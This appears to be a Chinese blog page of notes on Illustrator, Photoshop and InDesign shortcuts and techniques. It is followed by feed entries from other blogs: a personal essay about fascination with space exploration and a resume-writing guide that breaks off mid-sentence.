X在填色和描边之间转换Shift + X互换填色和描边D把填色和描边设置为默认<选择颜色填充模式>选择渐变填色模式/选择无描边 / 填充模式Shift + 吸管工具从图像中提取颜色样本或从渐变中提取中间色样本（可用于渐变取色）Shift + X互换填色和描边Shift等比Alt中心Ctrl + G编组（Group）Ctrl + Shift + G取消编组Ctrl + D将变换重新应用于对象Ctrl + F（原位）贴在前面Ctrl + J连接两个或更多路径Ctrl + +放大Ctrl + -缩小Ctrl+7创建剪切蒙版Alt+Ctrl+7释放剪切蒙版Alt + 鼠标滚轮放大 / 缩小Alt+向上或向下箭头键（横排文本）或者向右或向左箭头键（直排文本）增加或减小行距
工具介绍
吸管工具
- 吸取颜色后，按住
Alt键，可把颜色填充到多个对象
钢笔工具（Pen）
- 结束绘制：点按
Enter。或者，按住Ctrl并单击所有对象以外的任何位置 - 钢笔练习游戏
添加锚点工具（Anchor Add）
- 快捷键
+
删除锚点工具（Anchor Del）
- 快捷键
-
编组选择工具（Group Anchor Select）
- 可让您在一个组中选择单个对象
魔棒工具（Similar Select）
- 可让您通过单击对象来选择具有相同的颜色、描边粗细、描边颜色、不透明度或混合模式的对象
- 双击「魔棒工具」弹出选项
套索工具（Anchor Region Select）
- 可让您选择对象、锚点或路径段，方法是围绕整个对象或对象的一部分拖动鼠标
文字工具
- 输入完文本后，
Ctrl+Enter结束输入。或者，单击选择工具以选择文字对象。或者，也可以按住Ctrl并单击文本
弧线工具（Arc）
- 鼠标左键拖拽出弧线的时候，按住
↑或↓改变弧线的凹凸大小和方向
矩形网格工具（Rectangular Grid）
- 鼠标左键拖拽出网格的时候，按住
↑↓←→改变网格的数目
极坐标网格工具（Polar Grid）
- 鼠标左键拖拽出网格的时候，按住
↑↓←→改变网格的数目
螺旋线工具（Spiral）
- 鼠标左键拖拽出螺旋线的时候，按住
↑或↓改变螺旋线的延伸程度
吸管工具（Sampler）
- 按住
Shift单击，则仅对渐变、图案、网络对象或置入图像的一部分进行颜色取样，并将所取颜色应用于所选填色或描边 - 单击未选定的对象以对其属性进行取样，然后按住
Alt并单击 (Windows) 或按住Option并单击 (macOS) 要将这些属性应用到的未选定对象
星形工具
- 按住
Alt键拖移，保持星形边为直线
按特定角度旋转对象
- 选择一个或多个对象
- 若要围绕其他参考点旋转对象，请选择“旋转（Rotate）”工具。然后按住 Alt 键 (Windows) 或 Option 键 (Mac OS) 并在文档窗口中所需的参考点处单击
- 若要围绕中心点旋转对象，请选择“对象”>“变换”>“旋转”，或双击“旋转”工具
绘制一个圆角可变的矩形（Rounded Rectangle）
- 选择矩形（Rectangle）工具
- 向对角线方向拖动直到矩形达到所需大小
- 依次在菜单栏选择：效果 > 风格化 > 圆角
绘制一个扇形
- 法一
- 选择矩形（Rectangle）工具
- 按住 Shift 键，向对角线方向拖动直到所需大小
- 选择直接选择工具（Anchor Select）工具
- 选中一角的小圆点
- 拖动
- 法二
- 也可以在变换窗口（Shift + F8），改变边角类型
绘制像素级优化的图稿
首选项
- 键盘增量：1 px
- 单位
- 常规：像素
- 描边：像素
- 文字：点
- 参考线和网格
- 网格线间隔：1 px
- 次分隔线：1
视图
- 对齐网格
将现有对象与像素网格对齐
- 使用选择工具，选择要与像素网格对齐的对象
- 法一：单击「控制」面板中的
将选中的图稿与像素网格对齐图标 - 法二：右键单击对象，然后从上下文菜单中选择
设为像素级优化
图标设计
绘制图标（Android ）
dp（Density Independent Pixels，密度无关像素）
- 发音：dips
- 不同密度的屏幕上显示相同的 UI 元素（缩放到统一尺寸）
- 定义：1 dp 等于 160 dpi 的屏幕上的 1 个物理像素
- 公式一：dp = （以像素为单位的宽度 × 160） / 屏幕密度
- 公式二：dp × ppi / 160 = * px
- 例如：32 px × 32 px 的图标在 320 像素密度的屏幕上，等同于 16 dp × 16 dp
图片缩放
通过使用以下比率，可以使图标在不同分辨率的屏幕上看起来一样：屏幕分辨率 dpi 像素比例 图片尺寸（像素） xxxhdpi（超超超高） 640 4.0 400 x 400 xxhdpi（超超高） 480 3.0 300 x 300 xhdpi（超高） 320 2.0 200 x 200 hdpi（高） 240 1.5 150 x 150 mdpi（中） 160 1.0 100 x 100 尺寸：24 dp × 24 dp
- 线宽：2 dp
- 圆形：20 dp × 20 dp
- 正方形：18 dp × 18 dp
- 长方形：16 dp × 20 dp
- 圆角：外圆角半径 - 内圆角半径 = 线宽
尺寸：96 dp × 96 dp
- 线宽：4 dp
- 正方形：52 dp × 52 dp（边距 22 dp）
尺寸：192 dp × 192 dp
- 圆形：176 dp × 176 dp
- 正方形：152 dp × 152 dp
- 长方形：128 dp × 176 dp
绘制 Tips
保持视差平衡
- 图形的形状不同导致视觉张力不同，同样大的正方形看上去比圆形大：圆形直径 44 px 约等于 正方形边长 40 px
- 图形的面积大小相同 ≈ 图像的视觉大小相同
- 有角图标的对齐方法是保证每个角到边的距离相等
- 弯曲的线条会比竖直的线条看起来细
- 倾斜的线条会比竖直的线条看起来细
内 / 外发光常用的图层样式
- 发光颜色（白色）+ 混合模式（滤色）
- 发光颜色（黑色）+ 混合模式（正片叠底）
投影
- 绿色的物体用深绿色当投影，不要用纯黑
图标轮廓发虚怎么办
- Photoshop：
首选项>工具>将矢量工具与变化和像素网格对齐
关联阅读：图标 - Ant Design
导出 PDF
- 推荐使用「存储副本（Alt + Ctrl +S）」导出 PDF
- 优化快速 Web 查看
PDF/X‑1a
- 用于 CMYK 工作流程
PDF/X‑3
- 用于颜色管理工作流程
PDF/X-4
- 用于增加了对以自然方式而不是拼合方式保存透明度的支持的颜色管理工作流程
PDF/X‑4 (2008)
- Adobe 建议将 PDF/X-4:2008 作为最佳 PDF 文件格式，以实现可靠的 PDF 印刷出版工作流程
将文本导出到文本文件
- 使用文字工具选择要导出的文本。
- 选择
文件 >导出。 - 在导出对话框中，选择文件位置并输入文件名。
- 选择文本格式 (TXT) 作为文件格式。
- 在名称框中输入新文本文件的名称，然后单击保存 (Windows) 或导出 (Mac OS)。
- 选择一种平台和编码方法，然后单击导出。
Photoshop（像素设计）
作图之前备份
Ctrl + J原图。颜色模式
HSB
- 基于人眼的色彩模式
- 黑色和白色不在色相环
RGBz
- 红（Red）、绿（Green）、蓝（Blue）三原色光模式
- 加色模式
- 白色：rgb(255, 255, 255)
CMYK
- Cyan ['saɪən]：青色（蓝色 + 绿色），完全吸收了红色，互补色，180°
- Magenta [mə'dʒentə]：洋红色 / 品红色（红色 + 蓝色）
- Yellow：黄色（红色 + 绿色）
- blacK：黑色（因为 B 已经给了 RGB 的 Blue）
- 印刷四分色模式
- 减色模式
- 油墨的浓淡（百分比%）
操作
图层蒙版
- 选区内可见：建立选区 > 添加图层蒙版
- 选区外可见：
- 法一：建立选区 > 按住
Alt添加图层蒙版 - 法二：建立选区 > 反选
Shift + Ctrl + I> 添加图层蒙版
- 法一：建立选区 > 按住
- 停用图层蒙版
- 法一：右键单击图层蒙版，选择
停用图层蒙版 - 法二：按住
Shift左键单击图层蒙版
- 法一：右键单击图层蒙版，选择
- 结合渐变工具可以实现柔和的过渡：比如换天空
- 结合画笔笔刷制作火焰的效果
剪贴蒙版
- 图片在上层
- 形状 / 文字在下层
Alt + Ctrl + G/ 按住Alt在两个图层中间单击
快速把样式应用到其他图层
- 先按住
Alt，然后把样式拖拽到其他图层
快速改变画笔硬度值大小
- 按住
Alt同时按住右键 - 上下拖动改变硬度值大小
填充与不透明度的区别
- 填充（Fill）：一个对象本身的可见度
- 不透明度（Opacity）：整个图层的（包括图层样式）可见度
混合模式
- 常规模式
- 正常：默认模式
- 溶解：根据任何像素位置的不透明度，结果色由基色或混合色的像素随机替换
- 混色模式
- 减色模式（CMYK）：变暗
- 加色模式（RGB）：变亮（屏蔽掉黑色）
- 叠光模式：保持纹理的基础上，进行光的叠加
- 其他模式
- 负片效果：差值、排除、减去、划分
- 单值调整（色相、饱和度、颜色、明度；一般用在画笔中）
锁定透明像素
- 将编辑范围限制为只针对图层的不透明部分
- 类似 Illustrator 中的「内部绘图」模式
智能对象
- 智能对象是包含栅格或矢量图像（如 Photoshop 或 Illustrator 文件）中的图像数据的图层。智能对象将保留图像的源内容及其所有原始特性，从而让您能够对图层执行非破坏性编辑
- 编辑一个智能对象并自动更新其所有的链接实例（双击图层右下角的智能对象图标进入编辑模式）
移动工具
- 勾选左上角的
自动选择，光标可以选择任何一个图层（除了锁定图层）
文字工具
Ctrl + Enter结束输入
吸管工具
如何全局取色（吸取软件界面外的颜色）：
- 选择吸管工具（快捷键
I） - 按住鼠标左键不要松开，同时移动鼠标到你需要吸取颜色的屏幕位置，
动图演示 by 设计达人
抓手工具
- 临时缩放到图像：按住
H键（不放），然后在图像中单击，并按住鼠标键。
饱和度
主菜单：
图像>调整>自然饱和度自然饱和度：增加图像中暗色的强度。饱和度：增加图像中所有颜色的强度。
实战
更改布料的颜色（黑变绿）
Ctrl + Alt + Shift + N在旧图层上创建新图层，填充绿色Alt + Ctrl + G创建剪贴蒙版，混合模式：颜色Ctrl + J通过拷贝（旧图层）新建图层，并拖拽到剪贴蒙版的上方，混合模式：滤色或其他
电能表精修步骤
- Ctrl + J
- Ctrl + U：
色相：-180和饱和度：-100 - Ctrl + M：增加对比度（S 型曲线）
- 添加图层蒙版，保留彩色部分（比如 Logo）
内容识别填充
Content-Aware Fill 通过从图像其他部分取样的内容来无缝填充图像中的选定部分，可以用来扩展背景，替换物体，以及去除水印、污点和路人甲等。
新方法
- 使用
选框工具选择需要扩展的区域 编辑-内容识别填充
旧方法
- 使用
选框工具选择需要扩展的区域 编辑-填充-内容识别（Shift+F5）
动图教程：Photoshop 中的“内容识别填充”工作区
视频教程：使用内容识别填充功能制作图片填充和前景蒙版分享文件 Tips
- 选取「文件」>「自动」>「联系表 II」
- 选取「文件」>「自动」>「PDF 演示文稿」
平行窗口
打开多个窗口来显示同一图像的不同视图，例如修饰人像照片是同时查看整体和局部。
- 选择
窗口>排列>为 [图像文件名] 新建窗口。 - 如果要排列窗口，请选择
窗口>排列，然后选择一个选项。例如双联垂直。
快速去除海报中的文字（或水印）
想把电影海报做手机壁纸，却满屏幕都是文字。如何快速的去掉文字或者水印：
- 把需要删掉的文字抠出来：用「选区工具」框选需要删除的文字；打开「顶部菜单栏 - 选择 - 色彩范围」，点击海报中的字体，选出字体的颜色范围，再调整颜色容差，确保选中全部文字。
- 选区扩大一点以免边缘过度不平滑：打开「顶部菜单栏 - 选择 - 修改 - 扩展」，调整扩展像素，2 至 5像素即可。
- 用内容识别自动填充选区：打开「顶部菜单栏 - 编辑 - 填充」或快捷键「Shift + F5」，调出内容识别选取对话框，确定，完成。
「无损」旋转图像
照片角度不好，调整之后画面不够完整，核心区域被裁切。怎么办：
- 调整图片角度：点击「左侧工具栏 - 裁切 - 拉直」，以人物为中心中，顺着人物角度拉一条线，将人物拉正，再将画布整体拉大，以免裁切到太多核心元素。
- 将四周空白区域补全：使用「魔棒」，点击选中空白区域；点击「顶部菜单栏 - 编辑 - 内容识别填充」，调出内容识别界面，在左侧画面中，将不想被采样的区域擦出来，点击确定就 OK 了。
此功能对应 Snapseed 中的「展开」功能。
快捷键
结果 Windows macOS 隐藏（Hide）选区、参考线和平面 Ctrl+HCommand+HInDesign（排版利器）
- 内容分层很重要：背景层 / 文字层
- 先松鼠标再松快捷键
- 置入优先，少用粘贴
- 细线条使用单色（CMYK 其中一个有数值，其他为 0），不要使用套版色
- 所有文字都要使用段落样式，包括页码和目录
- 快速绘制表格：从 Word 或者 Excel 复制表格，再粘贴到 Illustrator
- 图像未嵌入：有对角线
- 图像已嵌入：无对角线
版面
- 栏间距：大于 5 mm
- 启用版面调整
- 只设置标题的段前距和段后句，不设置正文的段前距和段后句
- 标题的段前距大于标题的段后句
字号
- 杂志正文字号：8 pt ~ 9.5 pt
- 图书正文字号：10 pt ~ 10.5 pt
- 注释字号：9 pt
- 行距：所选字号的 1.5 倍 ~ 2 倍（不要使用自动行距）
- 图书字符间距：不大于 0（可以选择 -5）
转曲
- 在主页的书脊中间随意画一个图形，透明度设置为 0%
- 如果有多个主页，每个主页都要画一个透明度为 0% 的图形
- 这是为了确保每个文档页面都有一个透明度为 0% 的图形
- 选择
编辑>透明度拼合器预设- 请在预设列表中选择
高分辨率 - 然后单击
新建 - 输入名称
- 栅格/矢量平衡：100
- 线状图和文本分辨率：1200 ppi
- 渐变和网格分辨率：400 ppi
- 勾选
将所有文本转换为轮廓 - 勾选
将所有描边转换为轮廓 - 单击两次
确定
- 请在预设列表中选择
- 然后选择
文件>导出- 指定文件的名称和位置
- 保存类型选择
Adobe PDF（打印）（*.pdf），然后单击保存 - Adobe PDF（预设）：高质量打印
- 兼容性：Acrobat 4 (PDF 1.3)
高级>透明度拼合预设> 选择刚刚创建好的预设- 最后单击
导出
覆盖主页项目属性
- 即修改「文档页面」上的主页内容
- 覆盖某一主页项目会将它的一个副本放到文档页面上，而不会断开它与主页的关联。在项目本身被覆盖后，可以有选择地覆盖项目的一个或多个属性，以对其进行自定
段落
- 一个回车产生一个段落
制表符
- 制表符将文本定位在文本框中特定的水平位置
创建表
- 法一：
表-插入表 - 法二：置入表（或者复制粘贴 Excel 中的表格）
- 法三：将文本转换为表
姓名性别年龄张三男33李四女43王五男23马六女37表 Tips
- 选中一行或一列后对拽，可以移动整行或整列的位置
- 按住
Shift可以统一调整行高或列宽 - 选中两行或两列后按住
Shift，拖动框线有惊喜（词穷了） - 先合并再拆分单元格可以均分单元格
- 选中第一行，
表>转换行>到表头，即可制作标题（重复标题行）
颜色
- 在
颜色窗口创建颜色- 色值为 5 的倍数
- 通过
↑和↓按 1 点的增量增大（或减小）色值（同时按住Shift以 10 的增量增大（或减小）色值）
- 点击
颜色窗口的右上角，选择添加加色板 - 在
色板窗口中应用颜色
吸管工具
- 要清除
吸管工具当前所具有的格式属性，请在吸管工具处于载入状态时，按下Alt(Windows) 或Option(macOS)。吸管工具将反转方向并呈现空置状态 ，表示它已准备好选取新属性
从 Photoshop 导入 InDesign
- Photoshop --> Illustrator --> InDesign
多边形工具
- 鼠标左键拖拽出多边形的时候，按住
↑↓←→改变多边形的数目 - 按一下
空格，按住↑↓←→改变单个多边形的凹凸大小和数目
文本框架选项
- 按住
Alt后双击文本框架可以打开文本框架选项
图形框架
- 双击图片后，可以对图片进行缩放
- 按住
Shift和Ctrl可以等比缩放框架和图片 - 图片变形后，在控制栏的
X 缩放百分比或Y 缩放百分比输入 100% 即可复原
复合字体
- 汉字使用 A 字体
- 中文标点符号使用 B 字体
- 西文及数字使用 C 字体
新建段落样式
- 常规 - 基于：
无段落样式、下一样式：同一样式
段落首行缩进
- 标点挤压设置 - 段落首行缩进（2 个字符）
悬浮缩排
Q: +------------+ |------------| |------------| +------------+A: +------------+ |------------| |------------| +------------+- 左缩进：+ x mm
- 首行左缩进：- x mm
多行对齐
- 如何对齐下方的冒号？
公众号：庭说博 客：tingtalk.me- 法一：在博客之间插入一个全角空格（快捷键
Ctrl + Shift + M。在大小为 12 点的文字中，一个全角空格的宽度为 12 点） - 法二：在字符窗口设定相同的
网格指定格数
置入
- 勾选
显示导入选项 - 不勾选
替换所选项目 - 不勾选
创建静态题注 - 不勾选
应用网络格式
调整零点
- 要移动零点，请从水平和垂直标尺的交叉点单击并拖动到版面上要设置零点的位置
- 要重新设置零点，请双击水平和垂直标尺的交叉点
- 要锁定或解锁零点，请右键单击 (Windows) 或按住 Control 键并单击 (macOS) 标尺的零点，然后在上下文菜单中选择
锁定零点
文字工具
- 鼠标左键拖拽出文本框的时候，按住
↑↓←→改变文本框的数目 - 矩形框架工具、椭圆框架工具、多边形框架工具同理
椭圆框架工具
- 使用文字工具可把「框架」转换为「文本框」
快捷键W
- 预览
- 演示文稿
- B：黑色（Black）背景
- G：灰色（Gray）背景
- W：白色（White）背景
使框架适合内容
- Ctrl + Alt + C
- 双击框架边界（上 / 下 / 左 / 右）的小正方形
控制栏 Tips
- 在左上角的
变换 X-Y-W-H中输入+ 2、-4、*3、/5等算式后，InDesign 会自动帮你计算 - 如何在层迭的图层中进行选择：Ctrl + 左击
使用
角选项对话框应用转角形状（比如圆角矩形）- 使用选择工具选择路径，选择
对象>角选项
使用活动转角更改角点外观（比如圆角矩形）
- 使用活动转角，您可以通过单击框架上出现的黄框并进行拖动，对矩形框架应用转角效果
- 此外，您还可以为每个角点应用不同的转角效果和转角半径
- 选择矩形框架，然后单击黄色框
- 所选框架上显示的四个黄色菱形指示
活动转角模式。如果所选的框架上没有显示黄色的框，请选择视图>其他>显示活动转角 - 要添加转角效果，请执行以下任意任务
- 要同时调整所有四个转角的半径，请以框架的中心为方向拖动其中一个菱形
- 要调整单个角点，请按下
Shift的同时拖动一个菱形 - 要循环切换各种效果，请按下
Alt(Windows) 或Option(macOS) 的同时单击黄色菱形
- 要停止编辑角点，请单击选定框架以外的任意位置
- 要删除角效果，请选择
对象>角选项，然后选择无
Autoflow
- Shift-clicking: Adds pages and frames until all text is flowed into your document.
- 博客 Jiajun的编程随想 2019-07-02 08:00:00《后端工程师学前端(二): CSS基础知识(规则与选择器)》> 这一篇文章主要出自阅读《CSS权威指南》之后的笔记## 基础介绍...
- 博客 王子亭的博客 2019-07-02 01:00:00
从小我就对太空以及人类对太空的探索特别感兴趣，最近一段时间因猎鹰重型火箭首次商业发射和回收成功，又激起了我对于太空探索的兴趣，今天我想讲一讲我和太空探索的故事以及这件事为何如此让我着迷。
在 2002 年前后（7 岁），我爸送了我两本书 最新21世纪少年儿童百科 和「十万个为什么」（这个版本全是文字、每本几百页左右、共 12 册，我并没有在网络上找到，现在想起来这本书的目标用户也许是家长才对）。我对太空探索以及其他科学知识的启蒙都来自于这两本书，小时候可以阅读的内容并不多，在之后的近十年中，这两本我起码看了十几遍以上，不过现在其实并不能想起来着两本书上具体讲了什么，只有一些模糊的片段。
后来 2005 年（10 岁）的暑假，发现号航天飞机在哥伦比亚号的事故后首次 执行任务，我记得那半个月我每天都从新闻和报纸关注事件的动态，还用积木（其实是麻将牌）去模拟我所理解的航天飞机发射过程。那时候每天晚上会有一段固定的时间，爷爷会给我解答一些我感兴趣的问题，我当时并不理解太空是怎样的，也不了解飞船是如何工作的。我想搞清楚这些，但受限于当时的知识，我只能以我所理解的方式去提问，所以很多时候并没有得到想要的答案。
值得一提的时候我高中有那么一年多在玩 EVE 这个游戏，其实说起来 EVE 在飞船的操纵上已经十分简化了，游戏背景中的先进科技也绕开了现实中的燃料和光速等限制。但在 EVE 中驾驶飞船给了我对于宇宙的一种直观的认识 —— 星球是如此地大、星球之间的距离是如此地远，其余的空间都是一片虚无，如果没有一个坐标的话，你几乎不可能和别人相遇。
对我影响比较大的作品还有 三体 和 星际穿越。三体是我在高中的时候看的，因为我小说其实看得并不多，所以这是第一本让我印象深刻的科幻小说；星际穿越则是我刚刚离开学校（18 岁）时看的，也是我非常喜欢的太空背景电影。这两部作品构建了我对于太空的形象化的认识，无论是三体中的黑暗森林设定还是星际穿越中黑洞的视觉呈现，都很好地把握了宇宙的尺度。当时看完星际穿越我发了一条 推文：「看了 Interstellar, 虽然不喜欢结局，但确实是一部非常之优秀的科幻作品。觉得在宇宙面前人类的力量实在太渺小，或许其他的技术难关都可以克服，但时间的限制是永远突破不了的。大概人类永远也无法离开地球，因为一旦到宇宙中去，对于人类，时间或是过于短暂，或是无比漫长。」
蛋黄同样对太空探索很感兴趣，近两年我们也看了不少相关的纪录片，我们经常互相拉着对方讲新了解到的关于太空探索有趣的事情：蛋黄讲得比较多的是历史，而我会更关注技术。我们关注最多的具体项目还是阿波罗计划了，毕竟是人类首次登上另外一颗星球，直到目前依然保持着人类所到达的最远的地方的记录。在做了更多了解之后，我发现其实有非常多的美国公司（尤其是飞机制造商）都参与了阿波罗计划，负责具体的火箭和飞船制造，而 NASA 主要负责的是设计和组织，整个项目也可以算是人类历史上最宏大的工程之一了。
提到太空探索的爱好者，就必须要提 Kerbal Space Program（坎巴拉太空计划）这款游戏，基本上在知乎这样的社区只要涉及航天或火箭相关的话题，评论区就一定有人刷坎巴拉的梗。在我入手这个游戏后便很快沉迷无法自发，在游戏中我可以亲手实现之前的文字或视频中见到过无数次的技术：发射入轨、霍曼转移、交会对接、反推着陆、引力弹弓。也对比冲、Δv 之类的数值有了更深刻的认识，之后再看纪录片的时候就能脑补出其中提到的各种操作了。后面我应该会专门写一篇文章来介绍坎巴拉太空计划这个游戏。
那么为什么我对于太空探索如此着迷呢？首先我还是视它为一种兴趣，是因为去了解这些知识会让我感到高兴和满足，而不是我要用这些知识做一件什么事情。相比于其他的学科，例如数学、物理甚至是计算机，最新的研究成果几乎都是我无法理解的，并不适合作为消遣和兴趣；而美国人登陆了月球、火星发现了液态水、木卫四可能存在生命这些就要好理解得多。这大概是因为作为太空探索的主力 —— NASA 的大部分资金都来自于财政拨款，这要求它必须以一种普通人能够理解的方式，向美国的纳税人解释他们的工作，以得到更多人的支持、得到更多的拨款。
接下来的几年也非常值得期待，在太空竞赛、人类登月之后，经过几十年的修整，接下来十几年人类很有可能会在航天领域取得新突破。比如 SpaceX 的 BFR 和 Starlink，人类重返月球和登上火星以及更多的深空探测计划。
- 博客 庭说 2019-06-29 00:00:00
- 知己：简洁有力，方为简历。内容上突出重点，不堆砌无关信息，否则，只会埋没你的长处，让招聘人员抓不到重点。
- 知彼：简历应该清楚地解释你能为公司带来什么价值，而不是你有什么技能。你刚好需要，我刚好专业。因为闪光点是相对的，如何做好岗位和自身的匹配才是重点。
职业规划
你应该花最多的时间做职业规划
- 这个行业长期来看是否在上升期？
- 进步（上升）的渠道是否对我开放？
- 能否获得稳定的成长？
- 短期看收入如何？
- 是否热爱？（爱好 ≠ 能力）
- 能否发挥自己的优势？
如何选择一家公司 / 项目
- 找到用户真正的需求
- 差异化才有高利润
- 建立壁垒，巩固差异化
构建「个人护城河」
对我来说，什么事情容易做，而对别人却很难？我所拥有的技能中，哪些是其他人模仿会非常困难的？或者，你所爱的、擅长的事物，跟社会需要的事物有什么交汇点？
求职清单
整理心仪岗位的市场需求，才能写出符合市场预期的简历（以下岗位，仅作为举例）：
公司 数字尾巴（附上官网） 平台 拉勾网 岗位 资深编辑（插入链接） 职责 1. 擅长不同类型的内容创作，懂得深度挖掘内容的价值，最大化内容的传播。
2. 撰写生活化风格的产品体验文章。
3. 撰写面向硬核用户的专业化评测内容。
4. ……要求 1. 熟悉数码领域，擅长写作和拍照，能够独立完成一篇精彩的图文内容。
2.对数码产品抱有浓厚的兴趣，拥有丰富的数码产品阅历。
3. 拥有至少 1 年以上科技媒体或相关行业的工作经验。
4. ……匹配技能 1. 擅长手机摄影。
2. 一年以上相关经验。备注 此岗位需要经常写软文。 第一印象
在 HR 没打开你的简历之前，Ta 首先看到的是一个简历文件或一封邮件。
简历格式
使用 PDF 格式，而不是 Word。
简历名称
先遵从 HR 对简历名称的要求。如无：
- 通用格式：
应聘_摄影师_韩梅_156 1024 1024.pdf - 突出学历：
应聘_平面设计师_张三_博士.pdf - 突出名校：
应聘_文案_李四_北大.pdf - 突出年限：
应聘_算法工程师_王五_5 年 Python 经验.pdf - 其他信息：工作背景、现居地、在岗 OR 离职、全职 OR 兼职。
如果只写「个人简历」，HR 面对海量的简历，那将是一个灾难，你也淹没在众多竞争者中，所以千万别这么做。
邮件主题
- 无主题是不可取的，也不应该只写「个人简历」。
- 主题内容参考简历名称。
注意昵称
使用 QQ 邮箱时，请昵称，让 HR 一眼就能看出你是谁。
邮件正文
- 不可以只写「见附件」。
- 用少于 300 字的内容吸引 HR 下载并打开附件中的简历。
作品文件
- 只挑选代表性作品。
- 请尽可能压缩文件大小。
- 作品如果可以在线浏览，那就更好了。
简历内容
- 删除「简历」或「个人简历」的字样。
- 简要突出与应聘单位匹配的个人特质，反复突出职位描述中的关键词。
基本信息
- 姓名：如有偏僻字最好有拼音，应聘外企要有英文名。
- 手机：用空格「夹断」
15610241024，不易拨错，也可注明「同微信」。 - 邮箱：科技互联网企业偏爱 Gmail。如果是 QQ 邮箱，请在设置里修改「默认帐户昵称」为真实姓名（全名）。
- 年龄：填写出生年份：1994 年 1 月。
- 地点：HR 可从现居地判断你是否方便面试，以便安排面试时间。如果和所申请工作不是同一城市，可以不写。
不必要的信息
- 性别：少数时候会因岗位特殊性被淘汰，不占优时可以不写。
- 期望薪酬：如特别看重此部分，可以写。
- 婚育状态：有助于提高稳定性判断时，可以写。
- 政治面貌：应聘国企可以写，不过团员就没必要秀了吧。
个人照片
一些需要「靠脸」展示亲和力的岗位，可以考虑放一张干净整洁的形象职业照（别放生活照）。其他岗位，好看就大大方方地放，一般人……非要放也可以。
求职意向
- 期望职位：使用目标公司的标准名称。
- 期望薪资
- 期望工作地点
目前状态
- 离职，可立即到岗。
- 在职，一个月内到岗。
教育经历
- 学校
- 专业
- 学历
- 在校时间
如果是应届生，或者工作年限少于 5 年，简历内容单薄的情况下，可以加上：
- 与意向岗位相关的课程（5 门以内）
- 成绩排名
- 证书、奖学金、期刊论文
工作经历
- 不要过度强调以前所供职的平台或项目，需要突出的是你的贡献。
- 使用项目符号（bullet point）分点陈述。
- 突出（加粗）关键词。
量化指标：。除此之外，有优势的岗位名称、团队情况等等均可以做补充。
STAR 法则
- Situation：背景（事情是在什么情况下发生）。
- Target：目标（或者你是如何明确你的任务的）。
- Action：针对这一目标，你（注意是你本人）采取了何种行动。
- Result：用客观事实（量化指标）和他人信任做背书（公司或客户评价）展示结果（工作业绩）怎样，在这样的情况下你学习到了什么。
然后组成一句话（四个方向，不用面面面俱到）：
负责 / 开发 / 撰写 / 创建 / 策划 / 组织 / 统筹+具体工作内容+通过什么动作（如搭建***体系、分析***数据、运用***工具、与***协作 ）+获得什么可量化成果（如完成客户年度审计工作、撰写**份报告、提升团队协作效率**%、增加粉丝关***个）。- 为了
***目标、作为***角色、用***方法，达到***结果。
不知名的企业可加一小段简介
**行业第*大企业，核心产品包括 A、B、C……**行业领军企业，拥有*个分公司和***名员工**领域*轮创业公司，主要产品是***，拥有***用户
万金油式（不推荐）
- 负责某产品部门的日常项目需求对接以及公司内部赋能和 ToC 表达的产品工作，输出产品 PRD 文档；
- 通过市场及调研和数据分析挖掘用户需求，将用户需求产品化，对产品进行策划分析输出 MRD 以及 PRD 文档，跟进产品执行完成情况；
- 产品方案讲解、评审，跟进产品开发进度，参与后期测试，保证产品顺利发布上线；
- 配合业务部门完成产品运营规划，通过数据分析以及产品应用反馈发现运营过程的问题，持续优化产品，提升产品价值；
- 控制风险，提升产品用户体验，提高产品带来的用户增长、转化与留存。
润色后
作为产品第一负责人，带领 2 名下属对某产品做全面把控。负责前后用户量增长 300%，目前百万 DAU。获得 2 次年度优秀员工。主要工作内容有：
- 通过市场调研和数据分析挖掘用户需求，承接业务部门的任务，入职至今共输出 PRD 文档 23 份、落地 15 份；
- 规范产品的解释权，完成相关方案的讲解、评审，培训范围覆盖 2000 余人次；
- 合理安排产品开发进度，参与后期测试，有效保证产品顺利发布及 2 周/次的版本迭代，获得研发部门认可；
- 配合运营部门完成运营规划，分析过程数据，在优化产品的同时做风险控制，迄今挽救公司损失逾百万。
校内经历
- S：十支参赛队伍中
- T：
- A：在辩论赛中，主要负责资料收集，辩论技巧分享，赛程准备练习等
- R：获得校级团队第二名，个人最佳辩手称号
在辩论赛中，主要负责资料收集，辩论技巧分享，赛程准备练习等。最终在十支参赛队伍中获得校级团队第二名，个人最佳辩手称号
个人技能
- 英语技能
- 计算机技能
- 专业技能
- 驾驶技能
- ……
将你的技能分成三个等级：
- 熟悉（familiar with）
- 有实战经验（experienced with）
- 精通（proficient in）
不要夸大。比如一旦写了「精通」，就意味着做好了被刁难的准备。
「精通」和「有实战经验」的技能，必须提供细节，要给出项目内容和你的个人成果。错误写法
可熟练使用办公软件，掌握 Photoshop 的基础技能
正确写法 1
Word（熟练）、Excel（熟练）、PPT（精通）、VBA（熟练）、Python（基础）
正确写法 2
Excel（熟练使用数据透视表）；PowerPoint（可设计模板）；HTML/CSS（可制作简单网站）
正确写法 3
英语（CET-6），日语（N2），德语（基础）
获奖情况
- 挑重点写
自我评价
鸡肋式评价
本人 7 年工作经验，Java 基础扎实、熟练掌握 Web 前端技术。学习能力强，适应能力好；性格随和，具备耐心细心，追求完美的品质，执行力强，乐于分享。酷爱编程，看书，钻研及尝试新的技术，善于思考，享于接受有挑战性的任务。英语好。怎么改
- 少用形容词、多用名词。
- 与应聘岗位最相关的知识技能。
- 岗位要求的最关键素质。
- 应聘动机。
- 名企名校经历、认可度高的证书/荣誉、博客/作品集地址、职业规划、对目标公司的认识等。
润色后
本人硕士学历，7 年开发经验，精通 Java、熟悉 Web 前端。性格随和易沟通，追求完美，代码规范性较高。学习意识较强，GitHub（名称/地址）坚持更新，关注者 1000 人，曾多次在团队内部做技术分享会。英语口语流利，可作为工作语言。是少数派的忠实粉丝，对提高工作效率和生活品质有不懈追求。希望能在 5 年后成为软件架构师。
可以删除这个「戏份」，因为多数人写不好，把这些闪光点嵌入到个人经历上去。
制作简历
配色
最多三种：黑色（灰色）、白色、主题色。
字号
不超过三种。
排版
内容调整
找到最有利/匹配度最高的模块，如名校/名企、或知名产品，尽量放到显眼位置（一般为 A4 纸的中上部分）。劣势之处，尽量往后放，简化描述，如匹配度一般的学历/专业等。
美化界面
清爽的排版，利于伯乐发现千里马，让面试官轻松阅读。
如何制作精美的简历？不妨试试 QQ 邮箱在 2014 年 10 月推出的简历模板功能，虽然不起眼，但是很强大：
排版简洁精美，没有水印，新增「排成一页」的功能。
云端修改，云端保存，可导出 PDF 或 Word。
管理多份简历，投递多种岗位：简历信息可保存为素材，快捷创建新简历。
归纳合理的模块，并提供润色样本：
分点描述事项:
- 由于邮箱用户中职场人士较多（背景），为了更好地服务他们（目的），策划简历功能（行动），上线后点击率达到
